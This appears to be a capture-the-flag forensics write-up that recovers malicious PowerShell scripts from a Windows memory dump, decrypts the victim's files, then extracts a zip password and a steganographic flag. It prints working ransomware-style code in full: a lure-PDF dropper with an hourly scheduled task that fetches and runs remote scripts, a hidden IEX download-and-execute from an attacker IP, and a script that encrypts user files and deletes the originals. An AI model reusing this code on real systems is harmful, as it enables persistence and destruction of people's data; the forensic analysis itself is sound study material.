strings dump.raw | grep -e ".ps1$" | uniq -u

Content-Disposition: attachment; filename=Encrypt.ps1
Content-Disposition: attachment; filename=Enigma.ps1
http://172.21.195.17:5000/Holmes/Encrypt.ps1
/Holmes/Enigma.ps1
http://172.21.195.17:5000/Holmes/Enigma.ps1
Content-Disposition: attachment; filename=Enigma.ps1

strings dump.raw | grep "filename=Encrypt.ps1" -A 70

# Define the directories to search for files
$IP_addr = '172.21.195.17:5000'
$directories = @("$env:USERPROFILE")
# Define the file extensions to encrypt
$extensions = @(".png", ".doc", ".txt", ".zip")
$keyUrl = "http://$IP_addr/Holmes/key.txt"
# Download the key from the URL
$keyContent = Invoke-WebRequest -Uri $keyUrl | Select-Object -ExpandProperty Content
$keyContent = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($keyContent))
# Use SHA-256 hash function to produce a 32-byte key
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyContent))
$iv = [System.Security.Cryptography.RijndaelManaged]::Create().IV
# Sauvegarder l'IV dans un fichier
$ivFilePath = "$env:USERPROFILE\Documents\.iv"
[System.IO.File]::WriteAllBytes($ivFilePath, $iv)
# Create a new RijndaelManaged object with the specified key
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
# Go through each directory
foreach ($dir in $directories) {
    # Go through each file
    Get-ChildItem -Path $dir -Recurse | ForEach-Object {
        # Check the file extension
        if ($extensions -contains $_.Extension) {
            # Generate the new file name
            $newName = $_.FullName -replace $_.Extension, ".shutlock"
            # Read the file contents
            $content = Get-Content $_.FullName -Raw
            # Convert the content to bytes
            $contentBytes = [System.Text.Encoding]::UTF8.GetBytes($content)
            # Create a new encryptor
            $encryptor = $rijndael.CreateEncryptor()
            # Encrypt the content
            $encryptedBytes = $encryptor.TransformFinalBlock($contentBytes, 0, $contentBytes.Length)
            # Write the encrypted content to a file
            [System.IO.File]::WriteAllBytes($newName, $encryptedBytes)
            # Delete the original file
            Remove-Item $_.FullName
        }
    }

strings dump.raw | grep -i "Enigma.ps1" -A 30

$IP_addr = '172.21.195.17:5000'
$urlFakeJob = "http://$IP_addr/Holmes/Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf"
$urlTask = "http://$IP_addr/Holmes/GetFileInfo.ps1"
$fakePlaceOffer = 'Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf'
$TaskFile = 'GetFilesInfo.ps1'
#Get the lure pdf
Invoke-WebRequest -Uri $urlFakeJob -OutFile $fakePlaceOffer
# Open the PDF file with the default PDF viewer
Start-Process -FilePath $fakePlaceOffer
### Schedule task
$taskName = "IGotYourFileInfo"
# Create the scheduled task that get some file information
$cmd = "Invoke-WebRequest -Uri $urlTask -OutFile $TaskFile ; Start-Process -FilePath $TaskFile"
schtasks /create /tn $taskName /sc HOURLY /tr $cmd
#Encrypt some file
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile  -c "& {IEX ((New-Object Net.WebClient).DownloadString('http://$IP_addr/Holmes/Encrypt.ps1'))}"
## Change wallpaper
$webClient = New-Object System.Net.WebClient
$wallpaperUrl = "http://$IP_addr/Holmes/w

/opt/volatility3/vol.py -f dump.raw windows.filescan > filescan.txt

cat filescan.txt | grep ".lnk"

0xa70451a45a80	\Users\clara\Downloads\Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024\Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk	216

0xa7045384fe90	\Users\clara\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk	216

SHLK{Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk-IGotYourFileInfo-GetFilesInfo.ps1}

$IP_addr = '172.21.195.17:5000'

#takes only the user directory
$directories = @("$env:USERPROFILE")

# encrypt just the files with those extensions
$extensions = @(".png", ".doc", ".txt", ".zip")

# the key to decrypt and encrypt (using AES -- we'll see later)
$keyUrl = "http://$IP_addr/Holmes/key.txt"


# fetches the content of the key from the specified URL.
$keyContent64 = Invoke-WebRequest -Uri $keyUrl | Select-Object -ExpandProperty Content

# the content is then decoded from Base64 to get the actual key.
$keyContent = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($keyContent64))



# SHA256 hash is created from the decoded key content to produce a 32-byte key.
$sha256 = [System.Security.Cryptography.SHA256]::Create()

# initialization Vector (IV) is generated using the RijndaelManaged class.
$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyContent))

$iv = [System.Security.Cryptography.RijndaelManaged]::Create().IV

# The IV is saved to a file for later use
$ivFilePath = "$env:USERPROFILE\Documents\iv"


[System.IO.File]::WriteAllBytes($ivFilePath, $iv)

# Setting Up the Rijndael Managed Object :
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
$rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
$rijndael.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

# The RijndaelManaged object is configured with the key, IV, CBC mode, and PKCS7 padding.

# Encrypting files : 

foreach ($dir in $directories) {
    Get-ChildItem -Path $dir -Recurse | ForEach-Object {
        if ($extensions -contains $_.Extension) {
            $newName = $_.FullName -replace $_.Extension, ".shutlock"
            $contentBytes = [System.IO.File]::ReadAllBytes($_.FullName)
            $encryptor = $rijndael.CreateEncryptor()
            $encryptedBytes = $encryptor.TransformFinalBlock($contentBytes, 0, $contentBytes.Length)
            [System.IO.File]::WriteAllBytes($newName, $encryptedBytes)
            Remove-Item $_.FullName
        }
    }
}
# iterates over each directory and recursively finds files with the specified extensions

# Each file is read, encrypted, and saved with a new extension ".shutlock".


# The original file is then deleted.

$keyContent = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($keyBase64))

# Hash the key content using SHA-256
$sha256 = [System.Security.Cryptography.SHA256]::Create()

$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyContent))

# Read the IV from the file
$iv = [System.IO.File]::ReadAllBytes($ivFilePath)

# Create the RijndaelManaged object with the specified key and IV
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
$rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
$rijndael.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

# Function to decrypt a file
function Decrypt-File {
    param (
        [string]$encryptedFilePath,
        [string]$decryptedFilePath
    )
    # Read the encrypted file contents
    $encryptedBytes = [System.IO.File]::ReadAllBytes($encryptedFilePath)

    # Create a decryptor
    $decryptor = $rijndael.CreateDecryptor()
    # Decrypt the content
    $decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length) 

    # Write the decrypted content to a file
    [System.IO.File]::WriteAllBytes($decryptedFilePath, $decryptedBytes)
}

  

# Find and decrypt all ".shutlock" files
Get-ChildItem -Path $documentsDirectory -Recurse -Filter *.shutlock | ForEach-Object {
    $encryptedFilePath = $_.FullName
    $decryptedFilePath = $encryptedFilePath -replace ".shutlock", ".decrypted"
    Write-Output "Decrypting file: $encryptedFilePath"
    Decrypt-File -encryptedFilePath $encryptedFilePath -decryptedFilePath $decryptedFilePath
    Write-Output "Decryption completed for file: $decryptedFilePath"
}

file *

importante_recherche.decrypted.zip: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted

zip2john importante_recherche.decrypted.zip > hash.txt

grep -Ril "importante recherche"

AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.sqlite-wal

strings AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.sqlite-wal | grep -i "importante recherche"

[...]
\id=1f0391ce-61cd-4649-af89-3814161c7556 pwd importante recherche: s3cr3t_r3ch3rch3_pwd_!ManagedPosi
[...]

7z e importante_recherche.decrypted.zip 

password: s3cr3t_r3ch3rch3_pwd_!

Files: 2
Size:       3847608
Compressed: 3838943

wget https://github.com/RickdeJager/stegseek/releases/download/v0.6/stegseek_0.6-1.deb

sudo apt install ./stegseek_0.6-1.deb 

stegseek chiffrement.jpeg


[i] Found passphrase: ""
[i] Original filename: "flag.txt".
[i] Extracting to "chiffrement.jpeg.out".

cat chiffrement.jpeg.out

SHLK{4uri3z-v0us_cl1qu3r}